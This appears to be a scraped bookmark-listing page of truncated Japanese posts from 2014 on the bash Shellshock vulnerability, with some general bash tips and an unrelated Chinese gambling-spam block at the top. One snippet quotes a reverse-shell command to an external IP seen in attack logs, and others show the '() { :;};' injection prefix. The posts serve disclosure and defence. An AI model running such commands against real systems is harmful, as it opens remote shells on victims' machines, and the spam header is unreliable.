米6体育app官网下载-米6体育(中国)
以紫棠主色调，用浓郁的色彩表达多元化的情绪；多层板的运用，以稳固性、性价比打造环保时尚的家居空间；圆弧、罗马柱、创IP元素K纹雕刻门板等设计运用，让空间颇富有特色；烤漆与水漆的结合，让环保性、光泽度相互衬托，成就清雅之境。 臻·界系列的现代极简风注重设计、感官，在美学上更加倾向于强烈的线条感和浓郁的时尚感。米6体育app官网下载将“人文主义”主题注入，以人与空间的互动，来打造多元化的生活空间。一种选择，彰显着一种生活方式，体现着居者的品味，米6体育app官网下载正以简单而富有智慧的设计，寻求人们内心最真实的表达，为更多家庭定制理想家。 查看详情 以鸢尾蓝为主色调，搭配苹果金、极光白等配色，打造自然和美之境；铝蜂窝填充多层板、爱格板、进口欧松板等板材运用，保障基础功能品质；从IP灵感出发，以K纹雕刻门板强调品牌文化；圆弧元素贯穿空间，温柔下是线条的和美。 臻·至系列定位“侘寂风”，其空间设计
第4回 わずか1週間程度でBashが大幅な進化を遂げた ～Shellshock大暴れ～ | gihyo.jp
10月に入り、9月までに起こったことをざっと振り返るというお題がどこかから聞こえてきたので、「じゃあ……」という感じで振り返ってみることとします。 わずか1週間程度でBashが大幅な進化を遂げた ～Shellshock大暴れ～ まだ現在進行形の事案ではありますが、9月下旬に発覚したBashの脆弱性に起因して、10月上旬までまだ収束していないShellshock。 Bash 4.3の例で説明すると、Patchlevel 25～30までは以下のような軌跡をたどっています。 9月24日にPatchlevel 25 9月26日にPatchlevel 26 9月27日にPatchlevel 27 10月1日にPatchlevel 28 10月2日にPatchlevel 29 10月5日にPatchlevel 30 この間に発見、修正された脆弱性は、CVE-2014-6271、CVE-2014-71
緊急コラム： bash 脆弱性（ CVE-2014-6271 ）の影響範囲の調査方法について | NTTデータ先端技術株式会社
Tweet 先週公開された bash の脆弱性について、管理されているサーバーへの影響を気にされている方が多いと思います。そこで緊急コラムとして、影響範囲の調査方法について紹介します。 bash は非常に多くの場面で使用されているプログラムであるため、 bash を呼び出す可能性のあるプログラムや場面をソースコード解析により列挙することは困難です。また、設定ファイルでの指定内容などにも依存する可能性もあり、文章でのお問合せにより漏れの無い的確な判断ができるかどうか不安が残ります。 Red Hat Enterprise Linux （ RHEL ）には SELinux というセキュリティを強化するための機能が搭載されています。しかし、脆弱性の問題に限らず、システムのトラブル予防と適切な対処を行う上では、対象となるシステムの設定や挙動を事前に把握しておくことが重要であると考えます。 今回の脆弱
[Linux][セキュリティ] shellshockはPerl/CGIでsystem()にダメージありや無しや - ろば電子が詰まつてゐる
bashの脆弱性"shellshock"が非常に話題になっておりますが、これがいろいろと事情が入り組んでおり全容がつかみづらい。 ということでここでは全容を理解するのを早々に放棄して、以下のレガシー環境に絞った狭い話をします。レガシーとは言っても、それなりに鉄板の構成なので対象者は多いのでは無いでしょうか。私は老害なので、Perlしか分からないのです。PHPは嫌い。 CentOS(Red Hat) 6 or 7 PerlのCGIの内部で、system()を使っている。 (CGIとして動作させており、mod_perlやPSGI/Plackは使っていない） なお、shellshock自体の解説はここでは行いません。 基礎知識：CentOSの/bin/sh はじめに、/bin/shとbashの関係について予備知識を知っておく必要があります。 現在のCentOSおよびRed Hat Linuxにお
![[Linux][セキュリティ] shellshockはPerl/CGIでsystem()にダメージありや無しや - ろば電子が詰まつてゐる](https://cdn-ak-scissors.b.st-hatena.com/image/square/84ed63c0e53cf940d20080a24216222e9128442c/height=288;version=1;width=512/https%3A%2F%2Fimages-fe.ssl-images-amazon.com%2Fimages%2FI%2F61%252BoUa8crmL._SL160_.jpg)
ShellShockがCGIに及ぼす影響を少し過大評価していたかも - Qiita
bashの脆弱性（CVE-2014-6271など）によって、PerlやRubyのCGIからsystem関数などOSコマンドを実行するプログラム言語の機能を使うと、 UserAgent などブラウザから送信されたデータが環境変数に格納された状態でbashが起動し、ShellShockが発生するという話が話題になっているが、本当にそうなのか。 実験 次の処理系で実験した。 Perl（5.20.0） Ruby（2.1.3） PHP（5.6.0） Python3（3.4.1） コード OSコマンドのenvを呼び出して表示するだけのCGI。 Perl #!/usr/bin/env perl print "Content-Type: text/html;\n\n"; print system('env');
更新：bash の脆弱性対策について(CVE-2014-6271 等)：IPA 独立行政法人 情報処理推進機構
GNU Project が提供する bash は、Linux など UNIX 系の OS に含まれるコマンドを実行するためのシェル（OS の一部としてプログラムの起動や制御などを行うプログラム）です。 bash に任意の OS コマンドを実行される脆弱性 (CVE-2014-6271) が発見され、2014 年 9 月 24 日に修正パッチが公開されました。 ただし、CVE-2014-6271への修正が不十分であるという情報があります。その修正が不十分であることによる脆弱性 (CVE-2014-7169) に対応したアップデートまたはパッチも各ベンダから順次公開されています。 bash を使用して OS コマンドを実行するアプリケーションを介して、遠隔から任意の OS コマンドを実行される可能性があります。 図：脆弱性を悪用した攻撃のイメージ 警察庁によると本脆弱性を標的としたアクセスが観
/dev/tcpによるbashのソケット通信
件のbashの脆弱性が残っていることを期待したアクセスについて、24時間ほど前には来てなかったんですが、さきほどログを見てみたらちょっとだけ来てました。 ログに残るのは User-Agent ぐらいなのですが、ほかのフィールドで試している輩もいることでしょう。 アクセス元を逆引きしてみたんですが、クラウドサービスばっかりでした（一個だけ shodan.io なるドメインの下のIPアドレスからあったのだけど、なんだろう……）。 さて、() { :;}; の後になにをやってるのか、というのなんですが、一つ THIS IS VULNERABLE と echo するだけという人がいました。警告のつもりなのか、手動で何か確認しているのかな。あとはpingだな……と思ってたんですが、ちょっと特異なものが。 /bin/bash -i > /dev/tcp/198.206.15.239/8081 0>&1
Linuxアプライアンス類もBash脆弱性対策を - .@sknn's tumblr.
[NEW] 2014/09/30: アプライアンスの対応状況まとめを随時更新中 CVE-2014-6271及びCVE-2014-7169ねた(Bash脆弱性)。 世間では、外部公開サーバー(特にWebサーバー)への対処が着々と進められています。Webサーバーだけでなく、メールサーバーへの攻撃パターンも早期に見付かっています。外部公開サーバーに対する総合的な点検が近いうちに進んでいくものと思われます。 bash Shellshock through MAIL .forward / qmail-alias piping (ML program etc.) CVE-2014-6271 http://t.co/QPbSE8dppM http://t.co/AFuHudkCdh September 26, 2014しかし、一般的なサーバー類だけでなく主にファイアウォールの内部に設置されているアプライ
bashにおける脆弱性「Shellshock」について
2014/09/26 コース：元祖こってり 「元祖こってり」記事はネットエージェント旧ブログ[netagent-blog.jp]に掲載されていた記事であり、現在ネットエージェントに在籍していないライターの記事も含みます。 bashにおける脆弱性「Shellshock」について LinuxやMac OS XなどのUNIX系OSで広く使用されているbashに見つかった脆弱性(Shellshockと呼ばれています)が先日から話題になっています。 弊社でもこのbashの脆弱性について調査を行いました。 ■概要 環境変数に特定の文字列を設定するだけでその環境変数内の文字列をシェルが関数として実行してしまいます。 シェルを通じてコマンド等を実行する幅広い環境で影響がありますが、特に顕著に影響を受けるのはCGI等のWebアプリケーション環境です。 CGIをはじめとするWebアプリケーションではWebブラ
ファイアウォール内のサーバに対するShellshockを利用した攻撃 - 葉っぱ日記
2014-09-27: 該当サイト上にXSSがなくても攻撃可能であることが id:mayuki さんのコメントで判明しましたので全面的に書き直しました。ファイアウォール内であっても攻撃者はファイアウォール内のShellshock攻撃が通用するCGIのURLがわかっているだけで攻撃可能ですので早急に対応が必要です！会社のブログにも書いてますが、ファイアウォール内に置いてあるサーバで攻撃者が直接アクセスできないからといってbashの更新を怠っていると、条件によっては攻撃が可能となります。 条件としては、 そのサーバにはシェルを経由して外部コマンドを起動するCGI等が動いている(通常のShellshockの攻撃と同条件) 攻撃者がそのURLを事前に知っている(あるいは推測可能) となります。 攻撃者は、ユーザーを罠URLへ誘導し、以下のようなJavaScriptを罠ページ上で動かし、攻撃対象のW
ウェブアプリにおけるBash脆弱性の即死条件 #ShellShock - めもおきば
条件1. /bin/shの実体がbashのディストリビューション RHEL CentOS Scientific Linux Fedora Amazon Linux openSUSE Arch Linux (自ら設定した場合: Debian, Ubuntu) 条件2. 動作環境 CGI (レンタルサーバでありがちなCGIモードのPHP等も含む) Passenger(Ruby) 条件3. プログラム内容 Passengerは全死亡 *1 systemや `command`、 '| /usr/lib/sendmail' などで外部コマンド実行 *2 PHPのmailやmb_send_mail、その他フレームワーク等を介したメール送信 *3 以下は条件1が不要 明示的にbashを呼ぶ 先頭で #!/bin/bash や #!/usr/bin/env bash しているプログラムを実行 (rbenv
BASHの脆弱性でCGIスクリプトにアレさせてみました
環境変数に仕込まれたコードを実行してしまうBASHの脆弱性が CGIスクリプトに影響を与えるか試してみたら結果は悲惨な感じに Tweet 2014年9月25日 嶋田大貴 この記事は2014年のものです 朝から Bash specially-crafted environment variables code injection attack なるもので騒ぎになっていたので、さっそく手元の Apacheで試してみました。 /hoge.cgiというURIで実行されるように、一行のメッセージを出力するだけの CGIスクリプトを設置します。いっけん、なんの入力もクライアント側から受け付けていないため危険のありようもなく見えます。 #!/bin/sh echo "Content-type: text/plain" echo echo "Hi! I'm an ordinary CGI script w
【bash】リダイレクトとパイプを理解する（１） - 私は素人サーバ管理者
次回：【bash】リダイレクトとパイプを理解する（２） 普段なにげなくリダイレクトやパイプを使っていますが、勉強を兼ねてまとめてみます。 ※長くなりそうなので適当に複数回に分けます。 標準入出力 標準入出力とはコマンドに与えられた、データストリーム入出力に関するインターフェースのことです。 標準入出力には以下の3つがあります。 名前デフォルトファイルディスクリプタ(FD) 標準入力キーボード0 標準出力画面1 標準エラー出力画面2 標準入力はコマンドへの入力ストリームで、キーボードからの入力です。 標準出力はコマンドからの出力ストリームで、エラー関係以外のメッセージを端末画面に出力します。 標準エラー出力は標準出力と同様にコマンドからの出力ストリームですが、 エラー関係のメッセージを端末画面に出力する点が異なります。 ファイルディスクリプタ(FD) FDはコマンドが外部リソースと通信するた
一定時間でシェルコマンドを終了させるたった1つの方法 - Qiita
Linuxでcoreutils が利用可能なら、timeout コマンドを使いましょう。なお、Mac であれば brew install coreutils して gtimeout が使えます。 timeout Usage: timeout [OPTION] NUMBER[SUFFIX] COMMAND [ARG]... or: timeout [OPTION] man には以下のように書かれています。デフォルトの挙動が使いやすそうです。 コマンドがタイムアウトし、--preserve-status が指定されていない場合、 終了ステータスは 124 になります。それ以外の場合、COMMAND の終了ステータスが 終了ステータスになります。シグナルが指定されていない場合、タイムアウト時には TERM シグナルが送られます。この TERM シグナルにより、TERM シグナルをブロック もしく
Shell programming with bash: by example, by counter-example
You type in commands. Bash executes them. Unix users spend a lot of time manipulating files at the shell. As a shell, it is directly available via the terminal in both Mac OS X (Applications > Utilities) and Linux/Unix. At the same time, bash is also a scripting language: Bash scripts can automate routine or otherwise arduous tasks involved in systems administration. Why use bash? Here are example
シェルスクリプトを書くときはset -euしておく - Qiita
エラーがあったらシェルスクリプトをそこで打ち止めにしてくれる（exit 0以外が返るものがあったら止まるようになる）。「あっあれここでうまくいってないからデータ準備できてないのにあれあれっもうやめて！」ってなるのを防げる。 set -u 未定義の変数を使おうとしたときに打ち止めにしてくれる。Perlでいうuse strict 'vars';的なもの。 って気軽な気持ちで書いてしまって、「ん、やたら時間かかると思ったらスペルミスうわなにをするやめ」ってなるのを防げる。 一部だけ例外にしたい はてなブックマークのコメントより -e は command1 || command2 みたいなことが出来なくなるの使うことないな。-uは付けといて良いが。 確かにおっしゃるとおりですね。コマンドの失敗を考慮して書いている部分については（もしくはやたらexit 0以外するコマンドを呼ばないといけないときなど
うっかりnohup無しで長時間かかるコマンドを実行したときに後から終了しないようにする - Glide Note
いつまで経っても終わらないから帰れない… 途中で終了してしまうと困るので、ログアウトしても終了しないように。 作業の流れ Ctrl+Zでコマンドの中断 bgでバックグラウンドに回す jobsでジョブの確認 disownでログアウトしても実行されるようにする 実際のコマンドだと
私が他人のシェルスクリプトから学んだこと | Yakst
私はシェルスクリプトの大ファンで、他人のスクリプトから面白い方法を学ぶのが大好きだ。最近、SSHサーバの2要素認証を簡単にするためのauthy-sshスクリプトに出会った。このスクリプト群を見まわしていて、みんなと共有したいたくさんのクールなことを見つけた。 出力に色付けする 出力文字列を、成功した時は緑に、失敗した時は赤に、警告は黄色に色づけしたいと思うことはたくさんあるだろう。 NORMAL=$(tput sgr0) GREEN=$(tput setaf 2; tput bold) YELLOW=$(tput setaf 3) RED=$(tput setaf 1) function red() { echo -e "$RED$*$NORMAL" } function green() { echo -e "$GREEN$*$NORMAL" } function yellow() { e
bashのプロセス置換機能を活用して、シェル作業やスクリプト書きを効率化する - 双六工場日誌
@hirose31 さんが「シェルスクリプトでハマった件→【募】ステキな回避方法」でお題を出されていて、それに回答してみました。 その内容はリンク先を見てもらうとして、回答の中で使ったbashのプロセス置換について書かれた記事をあまり見ないので、回答で使ったプロセス置換のことをエントリにしてみたいと思います。 最初に注意点ですが、プロセス置換の機能は、bashやzsh*1の機能でPOSIX互換の機能ではありません。そのため、使用時には、対応していないシェルでは使えませんし、bashで使う場合も /bin/sh ではなく /bin/bash を明示的に指定する必要があります。たとえば、プロセス置換を使ったスクリプト「script.sh」に対して"$ bash script.sh" というコマンドは成功しますが、"$ sh script.sh" というコマンドは失敗します。この辺りの違いは「/
リリース、障害情報などのサービスのお知らせ
最新の人気エントリーの配信
j次のブックマーク
k前のブックマーク
lあとで読む
eコメント一覧を開く
oページを開く
oss-lab.net - Registered at Namecheap.com